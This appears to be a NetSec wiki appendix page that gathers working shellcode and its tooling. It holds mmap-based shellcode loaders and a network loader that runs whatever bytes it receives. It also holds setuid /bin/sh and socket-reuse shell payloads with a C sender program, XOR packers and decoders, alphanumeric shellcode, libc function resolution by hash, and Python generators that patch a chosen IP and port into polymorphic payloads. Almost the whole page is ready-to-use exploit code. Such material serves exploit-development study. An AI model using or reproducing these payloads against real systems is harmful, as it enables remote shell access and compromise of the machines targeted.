Questions about this topic? Sign up to ask in the talk tab.
Shellcode/Appendix
From NetSec
Contents
Loaders
loader-64.s
# 79 bytes .section .data .section .text .globl _start _start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer push $0x9 pop %rax xor %rdi, %rdi push %rdi pop %rsi inc %rsi shl $0x12, %rsi push $0x7 pop %rdx push $0x22 pop %r10 push %rdi push %rdi pop %r8 pop %r9 syscall # The syscall for the mmap(). inject: xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb %dil, (%rbx, %rsi, 1) je inject_finished movb (%rbx, %rsi, 1), %r10b movb %r10b, (%rax,%rsi,1) inc %rsi jmp inject_loop ret_to_shellcode: push %rax ret inject_finished: inc %rsi movb $0xc3, (%rax, %rsi, 1) call ret_to_shellcode exit: push $60 pop %rax xor %rdi, %rdi syscall |
loader-32.s
# 66 bytes .section .data .section .text .global _start _start: pop %edi pop %edi pop %edi #get arg1 pointer (shellcode) push $90 pop %eax #mmap() syscall number xor %ebx, %ebx push %ebx push %ebx #args 5/6 (null) push $0x22 #arg 4 push $0x7 #arg 5 push %ebx pop %ecx inc %ecx shl $0x12, %ecx push %ecx #arg2 (0x1000) push %ebx #arg1 (null) mov %esp, %ebx #move pointer to args to ebx for mmap() int $0x80 inject: xor %esi, %esi push %esi pop %edx #zero out esi and edx inject_loop: cmpb %dl, (%edi, %esi, 1) je inject_finished movb (%edi, %esi, 1), %cl movb %cl, (%eax, %esi, 1) inc %esi jmp inject_loop #places shellcode into mmap() memory ret_to_shellcode: push %eax #pushes mmap memory address and returns to it ret inject_finished: inc %esi movb $0xc3, (%eax, %esi, 1) #adds ret to the code code so that loader can exit call ret_to_shellcode exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 #exit |
dynamic-loader.c
#include <stdio.h> #include <sys/mman.h> #include <string.h> int main(int argc, char *argv[]) { int (*fp)(); void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); memcpy(mem, argv[1], strlen(argv[1])); fp = (int(*)())mem; (int)(*fp)(); } |
socket-loader.c
/* A simple server in the internet domain using TCP The port number is passed as an argument */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> void error(const char *msg) { perror(msg); exit(1); } void execute(char *buffer) { printf("Executing\n"); printf("%d\n", strlen(buffer)); int (*fp)(); void *mem = mmap(0, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); memcpy(mem, buffer, strlen(buffer)); fp = (int(*)())mem; (int)(*fp)(); } int main(int argc, char *argv[]) { int sockfd, newsockfd, portno; socklen_t clilen; char buffer[1024]; struct sockaddr_in serv_addr, cli_addr; int n; if (argc < 2) { fprintf(stderr,"ERROR, no port provided\n"); exit(1); } sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) error("ERROR opening socket"); bzero((char *) &serv_addr, sizeof(serv_addr)); portno = atoi(argv[1]); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(portno); if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) error("ERROR on binding"); listen(sockfd,5); clilen = sizeof(cli_addr); newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); if (newsockfd < 0) error("ERROR on accept"); bzero(buffer,1024); n = read(newsockfd,buffer,1024); execute(buffer); close(newsockfd); close(sockfd); return 0; } |
Null-free
write-file-32.s
# 90 bytes _start: xorl %ecx, %ecx xorl %edx, %edx #use xor to zero out the registers (removed some not required) push $0x05 #push 0x05 (single byte to remove the null padding used in longs) pop %eax #pop that value into eax push $0x6c #push part of the file destination as a byte to remove padding pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f movl %esp, %ebx #move out stack pointer xorw $0x0641, %cx #xor the file options as a word into ecx (ecx is 0 so ecx value would be 641) xorw $0x01b6, %dx #xor the file permissions as a word into edx (ecx is 0 so edx value would be 1b6) #by using this method of xoring out the nullbytes code size can be reduced as well #as remove the null bytes int $0x80 #execute open() movl %eax, %ebx #move the file handle into ebx for write() push $0x04 #push 0x04 pop %eax #pop it into eax for use in write() pushl $0x6c6f6c6a #push part of the null terminated hex string onto the stack pop %ecx #pop it into ecx for modification shr $0x08, %ecx #shift it to the right by 0x08 to put the nullbyte back into the string without #having it directly in the code pushl %ecx #push the modified string back onto the stack pushl $0x20736920 pushl $0x73696874 movl %esp, %ecx #move the stack pointer to ecx push $0xb #push the size of the stack in hex pop %edx #pop it back into the proper register pushl %ebx #push the file descriptor onto the stack for the next function int $0x80 #write the file pop %ebx #get the file descriptor back push $0x06 #push 0x06 to the stack pop %eax #pop it into eax for close() int $0x80 #close the file push $0x01 #push exit() onto the stack pop %eax #and put it in the register push $0x05 #push the return value of 5 pop %ebx #and put it in ebx int $0x80 #and exit |
setuid_binsh.s
# 34 bytes .text .globl _start _start: xor %rdi, %rdi # Zero out %rdi (first argument) push $0x69 pop %rax # Set %rax to function number for setuid() syscall # setuid(0); push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' push $0x3b pop %rax # set %rax to function # for execve() syscall # execve('/bin/sh',null,null); |
Environment
getpc-64.s
# 12 - bytes jmp startup getpc: mov (%rsp), %rax ret startup: call getpc # the %rax register now contains %rip on the next line |
getpc-32.s
# 11 bytes jmp startup getpc: mov (%esp), %eax ret startup: call getpc # the %eax register now contains %eip on the next line |
Socket-reuse
socket-reuse.s
# 119 bytes .section .data .section .text .globl _start _start: jmp start exit: push $0x3c pop %rax syscall start: push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %edi test %di, %di # loop until 65535 then exit je exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push $0x34 pop %rax syscall check_pn_success: test %al, %al jne loop # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %rcx mov $0xfeffff80, %ebx xor $0xffffffff, %ebx cmpl %ebx, (%rsp,%rcx,4) jne loop check_port: movb $0x35, %cl mov $0x2dfb, %bx xor $0xffff, %bx cmpw %bx,(%rsp, %rcx ,2) # (%rbp,%rsi,2) jne loop reuse: push %rax pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push $0x21 pop %rax syscall inc %esi cmp $0x4, %esi jne dup_loop execve: pop %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' push $0x3b pop %rax # set %rax to function # for execve() syscall # execve('/bin/sh',null,null); |
socket-reuse-send.c
#include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <sys/types.h> #include <netinet/in.h> #include <netdb.h> char shellcode[] = { "\xeb\x05\x6a\x3c\x58\x0f\x05\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6" "\x02\x10\x48\x8d\x72\x04\x66\xff\xc7\x74\xe7\x48\x8d\x62\x14\x48" "\x83\xec\x20\x6a\x34\x58\x0f\x05\x84\xc0\x75\xea\x6a\x1b\x59\xbb" "\x53\xef\x2a\xfe\xf7\xd3\x39\x1c\x8c\x75\xdb\xb1\x35\x66\xfb\xfe" "\xff\xf7\xd3\x66\x39\x1c\x4c\x75\xcd\x50\x50\x5e\x6a\x21\x58\x0f" "\x05\xff\xc6\x83\xfe\x04\x75\xf4\x5f\x57\x57\x5e\x5a\x48\xbf\x6a" "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b" "\x58\x0f\x05" }; void error(char *err) { perror(err); exit(0); } int main(int argc, char *argv[]) { struct sockaddr_in serv_addr, bind_addr; struct hostent* server, *bind_add; char buf[1024], inbuf[1024]; int port = atoi(argv[2]); int bport = atoi(argv[4]); int sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) error("Error: socket(): "); bind_add = gethostbyname((char *)argv[3]); bzero((char *) &bind_addr, sizeof(bind_addr)); bind_addr.sin_family = AF_INET; bcopy((char *)bind_add->h_addr, (char *)&bind_addr.sin_addr.s_addr, bind_add->h_length); bind_addr.sin_port = htons(bport); if (bind(sock,(struct sockaddr *) &bind_addr,sizeof(bind_addr)) < 0) error("Error: bind(): "); server = gethostbyname(argv[1]); bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy((char *)server->h_addr, (char *)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port = htons(port); printf("Connecting to %s\n", argv[1]); if (connect(sock,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0) error("Error: connect(): "); printf("Sending payload\n"); if (send(sock, shellcode, strlen(shellcode), MSG_NOSIGNAL) < 0) error("Error: write(): "); while(fgets(buf, 1024, stdin) != NULL) { if (send(sock, buf, strlen(buf), MSG_NOSIGNAL) < 0) error("Error: write(): "); if (recv(sock, inbuf, 1024, 0) < 0) error("Error: read(): "); printf("%s", inbuf); bzero(inbuf, 1024); bzero(buf, 1024); } return 0; } |
Self-modifying
packer.s
# 55 bytes .section .data .section .text .globl _start _start: pop %rbx # argc pop %rbx # arg0 pop %rbx # arg1 pointer xor %rsi, %rsi push $0x34 pop %rdi count_chars: cmpb %dil, (%rbx, %rsi, 1) int3 je write xor $0x16, (%rbx, %rsi, 1) inc %rsi jmp count_chars write: mov $0x1, %rax mov $0x1, %rdi mov %rsi, %rdx mov %rbx, %rsi syscall exit: push $60 pop %rax xor %rdi, %rdi syscall |
decoder-no-mmap.s
# 69 bytes jmp start inject: pop %rdi # return value xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb $0x17, (%rbx, %rsi, 1) je inject_finished movb (%rbx, %rsi, 1), %r10b xor $0x16, %r10b movb %r10b, (%rbx, %rsi, 1) inc %rsi jmp inject_loop inject_finished: inc %rsi movb $0xc3, (%rbx, %rsi, 1) push %rdi push %rbx ret getpc: mov (%rsp),%rbx ret start: call getpc add $0xe,%rbx push %rbx call inject exit: push $0x3c pop %rax xor %rdi, %rdi syscall |
decoder.s
# 102 bytes jmp start inject: pop %rdi pop %rcx pop %rax xor %rsi, %rsi push %rsi pop %rdi inject_loop: cmpb $0x20, (%rax, %rsi, 1) je inject_finished movb (%rax, %rsi, 1), %r10b xor $0x3, %r10b movb %r10b, (%rcx, %rsi, 1) inc %rsi jmp inject_loop inject_finished: inc %rsi movb $0xc3, (%rcx, %rsi, 1) push %rdi push %rcx ret getpc: mov (%rsp),%rbx ret start: call getpc add $0x31,%rbx push $0x9 pop %rax xor %rdi, %rdi push %rdi pop %rsi inc %rsi shl $0x12, %rsi push $0x7 pop %rdx push $0x22 pop %r10 push %rdi push %rdi pop %r8 pop %r9 syscall # The syscall for the mmap(). push %rax push %rbx call inject exit: push $60 pop %rax xor %rdi, %rdi syscall |
packer-32.s
# 37 bytes .section .data .section .text .global _start _start: pop %ecx pop %ecx pop %ecx #arg1 pointer xor %ebx, %ebx push %ebx pop %edx #zero out ebx and edx count_chars: cmpb %dl, (%ecx, %ebx, 1) je write xor $0x3, (%ecx, %ebx, 1) inc %ebx jmp count_chars #counts characters and xor encode them write: push $4 pop %eax mov %ebx, %edx push $2 pop %ebx int $0x80 #writes encoded chars to stdout exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 #exits |
decoder-32.s
# 89 bytes .section .data .section .text .global _start _start: jmp start inject: pop %ecx #pop the return address pop %ebx #pop the encoded shellcode start address pop %eax #pop the mmaped memory address xor %edx, %edx push %edx pop %ecx #zero out edx and ecx (which holds the return address) inject_loop: cmpb $0x20, (%ebx, %edx, 1) je inject_finished movb (%ebx, %edx, 1), %cl xor $0x3, %cl movb %cl, (%eax, %edx, 1) inc %edx jmp inject_loop inject_finished: inc %edx movb $0xc3, (%eax, %edx, 1) push %ecx push %eax ret getpc: mov (%esp), %eax ret start: call getpc #find ourself on stack mov %eax, %edx add $0x2a, %edx #add decoder length to find shell beginging push $90 pop %eax #mmap() syscall xor %ebx, %ebx push %ebx push %ebx #arg 5/6 push $0x22 #arg 4 push $0x7 #arg 3 push %ebx pop %ecx inc %ecx shl $0x12, %ecx push %ecx #arg2 0x1000 push %ebx #arg 1 mov %esp, %ebx int $0x80 push %eax #push mmap pointer push %edx #push our shellcode begining call inject exit: xor %eax, %eax mov %eax, %ebx inc %eax int $0x80 |
Alphanumeric
architecture_detection
TX4HPZTAZAYVH92
binsh.s
# 111 bytes .global _start .text _start: # Set %rcx as stack pointer # and align %rsp push $0x5a push %rsp pop %rcx pop %rax # Get magic offset and store in %rdi xor $0x55, %al push %rax # 0x14 on the stack now. pop %rax # add back to %esp imul $0x41, (%rcx), %edi # %rdi = 0x3cf, a "magic offset" for us # This is decimal value 975. # If this is too low/high, suggest a # modification to xor of %al for # changing the imul results # Write the syscall movslq (%rcx,%rdi,1), %rsi xor %esi, (%rcx,%rdi,1) # 4 bytes have been nulled push $0x3030474a pop %rax xor $0x30304245, %eax push %rax pop %rax # Garbage reg movslq (%rcx), %rsi xor %esi, (%rcx,%rdi,1) # Sycall written, set values now. # allocate 8 bytes for '/bin/sh\0' movslq 0x30(%rcx), %rsi xor %esi, 0x30(%rcx) movslq 0x34(%rcx), %rsi xor %esi, 0x34(%rcx) # Zero rdx, rsi, and rdi movslq 0x30(%rcx), %rdi movslq 0x30(%rcx), %rsi push %rdi pop %rdx # Store '/bin/sh\0' in %rdi push $0x5a58555a pop %rax xor $0x34313775, %eax xor %eax, 0x30(%rcx) # '/bin' just went onto the stack push $0x6a51475a pop %rax xor $0x6a393475, %eax xor %eax, 0x34(%rcx) # '/sh\0' just went onto the stack xor 0x30(%rcx), %rdi # %rdi now contains '/bin/sh\0' pop %rax push %rdi push $0x58 movslq (%rcx), %rdi xor (%rcx), %rdi # %rdi zeroed pop %rax push %rsp xor (%rcx), %rdi xor $0x63, %al |
Dynamic
poly-linker-fd-reuse.s
# 268 bytes .section .data .section .text .global _start _start: push $0x400130ff pop %rbx shr $0x8, %ebx fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx extract_pointer: mov 0x20(%rcx), %rbx find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base jmp jmp_to_start exit: push $0x696c4780 pop %rsi call *%rcx xor %rdi, %rdi call *%rbp __initialize_world: pop %rcx xor %esi, %esi movl $0xf8cc01f7, %esi # getpeername() is in %rsi call *%rcx push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %di jz exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push %rcx call *%rbp pop %rcx check_pn_success: test %al, %al jne loop jmp pass jmp_to_start: jmp startup pass: # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %r8 mov $0xfeffff80, %eax cmpl %eax, (%rsp,%r8,4) jne loop check_port: movb $0x35, %r8b mov $0x2dfb, %ax cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2) jne loop push $0x70672750 pop %rsi call *%rcx reuse: xor %rdx, %rdx push %rdx push %rdx pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push %rcx call *%rbp pop %rcx inc %esi cmp $0x4, %esi jne dup_loop movl $0xf66bbb37, %esi call *%rcx xor %rdi, %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' call *%rbp # at this point, the base pointer of libc is in %rbx startup: call __initialize_world ################ # # Takes a function hash in %rsi and base pointer in %rbx # # returns a function pointer in %rbp # find_function: push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi pop %rdi read_dynamic_section: push %rbx pop %rbp push $0x4c pop %rax add (%rbx, %rax, 4), %rbx check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax cmp %esi, %edi jne check_next_hash found_hash: add 0x8(%rbx,%rdx,4), %rbp pop %rbx pop %rax pop %rdi pop %rdx ret |
linker-fd-reuse.s
.section .data .section .text .global _start _start: push $0x400130ff pop %rbx shr $0x8, %ebx fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx extract_pointer: mov 0x20(%rcx), %rbx find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base jmp startup __initialize_world: pop %rcx jmp _world # at this point, the base pointer of libc is in %rbx startup: call __initialize_world ################ # # Takes a function hash in %rbp and base pointer in %rbx # >Parses the dynamic section headers of the ELF64 image # >Uses ROP to invoke the function on the way back to the # -normal return location # # Returns results of function to invoke. # invoke_function: push %rbp push %rbp push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi read_dynamic_section: push %rbx pop %rbp push $0x4c pop %rax add (%rbx, %rax, 4), %rbx check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax cmp %esi, %edi jne check_next_hash found_hash: add 0x8(%rbx,%rdx,4), %rbp mov %rbp, 0x30(%rsp) pop %rsi pop %rbx pop %rax pop %rdi pop %rdx pop %rbp ret exit: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx _world: movl $0xf8cc01f7, %ebp # getpeername() is in %rbp push $0x02 pop %rdi make_fd_struct: lea -0x14(%rsp), %rdx movb $0x10, (%rdx) lea 0x4(%rdx), %rsi # move struct into rsi loop: inc %di jz exit stack_fix: lea 0x14(%rdx), %rsp get_peer_name: sub $0x20, %rsp push %rcx call *%rcx pop %rcx check_pn_success: test %al, %al jne loop # If we make it here, rbx and rax are 0 check_ip: push $0x1b pop %r8 mov $0xfeffff80, %eax not %eax cmpl %eax, (%rsp,%r8,4) jne loop check_port: movb $0x35, %r8b mov $0x2dfb, %ax not %eax cmpw %ax,(%rsp, %r8 ,2) # (%rbp,%rsi,2) jne loop push $0x70672750 pop %rbp reuse: xor %rdx, %rdx push %rdx push %rdx pop %rsi dup_loop: # redirect stdin, stdout, stderr to socket push %rcx call *%rcx pop %rcx inc %esi cmp $0x4, %esi jne dup_loop movl $0xf66bbb37, %ebp xor %rdi, %rdi push %rdi push %rdi pop %rsi pop %rdx # Null out %rdx and %rdx (second and third argument) mov $0x68732f6e69622f6a,%rdi # move 'hs/nib/j' into %rdi shr $0x8,%rdi # null truncate the backwards value to '\0hs/nib/' push %rdi push %rsp pop %rdi # %rdi is now a pointer to '/bin/sh\0' call *%rcx |
linked-exit.s
# 135 bytes .section .data .section .text .global _start _start: push $0x400130ff pop %rbx shr $0x8, %ebx fast_got: mov (%rbx), %rcx add 0x10(%rbx), %rcx extract_pointer: mov 0x20(%rcx), %rbx find_base: dec %rbx cmpl $0x464c457f, (%rbx) jne find_base jmp startup __initialize_world: pop %rcx jmp _world # at this point, the base pointer of libc is in %rbx startup: call __initialize_world ################ # # Takes a function hash in %rsi and base pointer in %rbx # # returns a function pointer in %rbp # find_function: push %rdx xor %rdx, %rdx push %rdi push %rax push %rbx push %rsi push %rbp pop %rdi read_dynamic_section: push %rbx pop %rbp push $0x4c pop %rax add (%rbx, %rax, 4), %rbx check_dynamic_type: add $0x10, %rbx cmpb $0x5, (%rbx) jne check_dynamic_type string_table_found: mov 0x8(%rbx), %rax # %rax is now location of dynamic string table mov 0x18(%rbx), %rbx # %rbx is now a pointer to the symbol table. check_next_hash: add $0x18, %rbx push %rdx pop %rsi xorw (%rbx), %si add %rax, %rsi calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax cmp %esi, %edi jne check_next_hash found_hash: add 0x8(%rbx,%rdx,4), %rbp pop %rsi pop %rbx pop %rax pop %rdi pop %rdx push %rbp ret _world: push $0x696c4780 pop %rbp xor %rdi, %rdi call *%rcx |
Generators
fd-reuse-output-formatter.py
#!/usr/bin/python import re print("shellcode_1 = \\") for lin in re.findall(".?"*65, input()): if "\\\\x80\\\\xff\\\\xff\\\\xfe" in lin: tmp = lin.split("\\\\x80\\\\xff\\\\xff\\\\xfe")[0] tmp2 = lin.split("\\\\x80\\\\xff\\\\xff\\\\xfe")[1] print("\"" + tmp + "\"\n") print("shellcode_2 =\\") print("\"" + tmp2 + "\"\\") elif "\\\\xfb\\\\x2d" in lin: tmp = lin.split("\\\\xfb\\\\x2d")[0] tmp2 = lin.split("\\\\xfb\\\\x2d")[1] print("\"" + tmp + "\"\n") print("shellcode_3 =\\") print("\"" + tmp2 + "\"\\") elif lin == "": continue else: print("\"" + lin + "\" \\") |
socket-reuse-generator.py
#!/usr/bin/python2.7 import re, sys def convert_ip(ip): ip = ip.split('.') new_addr = "" for i in ip: new_addr += "\\x" + hex(0xff ^ int(i))[2:] return new_addr def convert_port(port): port = hex(0xffff ^ int(port))[2:] port1 = port[0:2] port2 = port[2:4] return "\\x" + port1 + "\\x" + port2 shellcode_1 = \ "\\xeb\\x05\\x6a\\x3c\\x58\\x0f\\x05\\x6a\\x02\\x5f\\x48\\x8d\\x54\\x24\\xec\\xc6\\x02\\x10\\x48\\x8d\\x72\\x04" \ "\\x66\\xff\\xc7\\x74\\xe7\\x48\\x8d\\x62\\x14\\x48\\x83\\xec\\x20\\x6a\\x34\\x58\\x0f\\x05\\x84\\xc0\\x75\\xea" \ "\\x6a\\x1b\\x59\\xbb" shellcode_2 = "\\xf7\\xd3\\x39\\x1c\\x8c\\x75\\xdb\\xb1\\x35\\x66" shellcode_3 = \ "\\xff\\xf7\\xd3\\x66\\x39\\x1c\\x4c\\x75\\xcd\\x50\\x50\\x5e\\x6a\\x21\\x58\\x0f\\x05\\xff\\xc6" \ "\\x83\\xfe\\x04\\x75\\xf4\\x5f\\x57\\x57\\x5e\\x5a\\x48\\xbf\\x6a\\x2f\\x62\\x69\\x6e\\x2f\\x73" \ "\\x68\\x48\\xc1\\xef\\x08\\x57\\x54\\x5f\\x6a\\x3b\\x58\\x0f\\x05" if len(sys.argv) != 3: print("Usage: " + sys.argv[0] + " <source IP> <source port>") exit() shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3 for lin in re.findall(".?"*64, shellcode): if lin != "": print("\"" + lin + "\"") |
shellcode-generator.py
#!/usr/bin/python2 import os import re import argparse def extract(path): if os.system("as -o %s.o %s.s" % (path, path)) == 1: exit() if os.system("ld -o %s %s.o" % (path, path)) == 1: exit() shellcode = "" for line in os.popen("objdump -d %s" % path).readlines(): for byte in line.split(): if re.match("^[a-f0-9][a-f0-9]$", byte): shellcode += chr(int(byte, 16)) return shellcode if __name__=="__main__": parser = argparse.ArgumentParser() parser.add_argument('--file', required=True) parser.add_argument('--hex', action='store_true', help="Output in hex format (\\x0f\\x05)") parser.add_argument('--raw', action='store_true', help="Output in raw format") parser.add_argument('--var', action='store_true', help="Output as a variable") parser.add_argument('--len', action='store_true', help="Output the length") args = parser.parse_args() shellcode = extract(args.file.split('.')[0]) if args.hex: tmp = "" for byte in shellcode: tmp += "\\x%.2x" % ord(byte) print tmp elif args.raw: print shellcode elif args.var: print "char shellcode[] = {" tmp = "" for byte in shellcode: tmp += "\\x%.2x" % ord(byte) for line in re.findall(".?"*64, tmp): if line != "": print("\"" + line + "\" \\") else: parser.print_help() exit() if args.len: print "Length: %d bytes" % len(shellcode) |
hash-generator.s
.text .globl _start _start: jmp startup calc_hash: push %rax push %rdx initialize_regs: push %rdx pop %rax cld calc_hash_loop: lodsb rol $0xc, %edx add %eax, %edx test %al, %al jnz calc_hash_loop calc_done: push %rdx pop %rsi pop %rdx pop %rax ret startup: pop %rax pop %rax pop %rsi xor %rdx, %rdx call calc_hash push %rsi mov %rsp, %rsi push %rdx mov %rsp, %rcx mov $0x4, %rdi loop: dec %rdi movb (%rsi,%rdi,1), %al movb %al, (%rcx,%rdx,1) inc %rdx cmp %rdi, %r10 jnz loop mov %rcx, %rsi inc %rdi mov %rdi, %rax syscall mov $0x3c, %rax dec %rdi syscall |
poly-socket-reuse-generator.py
#!/usr/bin/python2.7 import re, sys def convert_ip(ip): ip = ip.split('.') new_addr = "" for i in ip: new_addr += chr(int(i)) return new_addr def convert_port(port): port = "%.4x" % int(port) port2 = port[0:2] port1 = port[2:4] return chr(int(port1, 16)) + chr(int(port2, 16)) shellcode_1 = \ "\x68\xff\x30\x01\x40\x5b\xc1\xeb\x08\x48\x8b\x0b\x48\x03\x4b\x10" \ "\x48\x8b\x59\x20\x48\xff\xcb\x81\x3b\x7f\x45\x4c\x46\x75\xf5\xeb" \ "\x03\x59\xeb\x6a\xe8\xf8\xff\xff\xff\x55\x55\x52\x48\x31\xd2\x57" \ "\x50\x53\x56\x55\x5f\x53\x5d\x6a\x4c\x58\x48\x03\x1c\x83\x48\x83" \ "\xc3\x10\x80\x3b\x05\x75\xf7\x48\x8b\x43\x08\x48\x8b\x5b\x18\x48" \ "\x83\xc3\x18\x52\x5e\x66\x33\x33\x48\x01\xc6\x50\x52\x52\x58\xfc" \ "\xac\xc1\xc2\x0c\x01\xc2\x84\xc0\x75\xf6\x52\x5e\x5a\x58\x39\xf7" \ "\x75\xdd\x48\x03\x6c\x93\x08\x48\x89\x6c\x24\x30\x5e\x5b\x58\x5f" \ "\x5a\x5d\xc3\x68\x80\x47\x6c\x69\x5d\x48\x31\xff\xff\xd1\xbd\xf7" \ "\x01\xcc\xf8\x6a\x02\x5f\x48\x8d\x54\x24\xec\xc6\x02\x10\x48\x8d" \ "\x72\x04\x66\xff\xc7\x74\xdc\x48\x8d\x62\x14\x48\x83\xec\x20\x51" \ "\xff\xd1\x59\x84\xc0\x75\xeb\x6a\x7c\x41\x58\xb8" shellcode_2 =\ "\x42\x39\x04\x84\x75\xdc\xcc\x41\xb0\x35\x66\xb8" shellcode_3 =\ "\x66\x42"\ "\x39\x04\x44\x75\xcd\x68\x50\x27\x67\x70\x5d\x48\x31\xd2\x52\x52" \ "\x5e\x51\xff\xd1\x59\xff\xc6\x83\xfe\x04\x75\xf5\xbd\x37\xbb\x6b" \ "\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f" \ "\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\xff\xd1" if len(sys.argv) != 3: print("Usage: " + sys.argv[0] + " <source IP> <source port>") exit() shellcode = shellcode_1 + convert_ip(sys.argv[1]) + shellcode_2 + convert_port(sys.argv[2]) + shellcode_3 shellcode2 = "" for byte in shellcode: shellcode2 += chr(ord(byte) ^ 0x17) shellcode2 = "" for byte in shellcode: shellcode2 += chr(ord(byte) ^ 0x17) f = open("shellcode", "rb") shellcode3 = "" for line in f.readlines(): shellcode3 += line.rstrip() shellcode = shellcode3 + shellcode2 + "\x34" shellcode3 = "" for byte in shellcode: shellcode3 += "\\x%.2x" % ord(byte) for lin in re.findall(".?"*64, shellcode3): if lin != "": print("\"" + lin + "\"") |